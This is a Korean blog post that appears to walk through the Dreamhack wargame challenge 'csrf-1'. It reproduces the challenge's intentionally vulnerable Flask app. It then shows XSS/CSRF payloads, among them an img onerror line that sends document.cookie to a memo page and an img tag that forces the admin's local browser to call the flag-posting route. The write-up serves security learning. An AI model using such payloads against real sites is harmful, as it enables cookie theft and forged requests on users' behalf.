Study/Web Hacking

[DreamHeck] csrf-1

얀 짱 2026. 9. 9. 19:00

https://dreamhack.io/wargame/challenges/26

 

로그인 | Dreamhack

 

dreamhack.io

 

app.py 파일을 먼저 확인했음.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        for arg in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]          # 필터링 -> *로 출력됨!! 
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)


@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"


app.run(host="0.0.0.0", port=8000)

 

 

얻어낸 정보

1. xss_filter = ["frame", "script", "on"] 이렇게 세 개 필터링이 걸려 있음 -> *로 출력됨

2. /admin/notice_flag 이 쪽으로 들어가서 파라미터 userid를 admin으로 설정하면 플래그를 얻을 수 있겠군!

 

https://squareturtle.tistory.com/94

 

[DreamHeck] xss-2

xss-1을 먼저 풀고 xss-2를 풀었음.코드가 거의 유사했음.그래서 차이나는 부분만 보면@app.route("/vuln")def vuln(): return render_template("vuln.html") 이 부분 이었음.그래서 vuln(xss) page 버튼을 눌렀더니 전과

squareturtle.tistory.com

 

이 문제와 비슷한 것 같아서 페이로드를 똑같이 먼저 넣어봤음. 이때도 script 필터링이 걸려 있어서 우회했던 것으로 기억함.

<img src="" onerror="location.href='/memo?memo='+document.cookie">

 

이 플래그였어서 다음과 같이 수정해봄.

<img src="" onerror="location.href='/admin/notice_flag?userid='+admin">

 

근데 이렇게 해도 안풀렸음. 처음에는 on 때문인가? 하는 생각도 했으나, 결론적으로는 onerror를 굳이 쓸 필요가 없는 것이었음. 이전 문제에서는 쿠키 탈취까지 해야 하는 문제였기에 이미지 요청을 보내고(1단계), 그게 실패하면 추가로 페이지 이동까지 시켜야 했음(2단계). 그래서 location.href 까지 필요했던 건데 이 문제는 그렇게까지는 할 필요가 없었음.

 

그래서 그냥 다음과 같이 입력해 봤더니 플래그를 얻음.

<img src="/admin/notice_flag?userid=admin">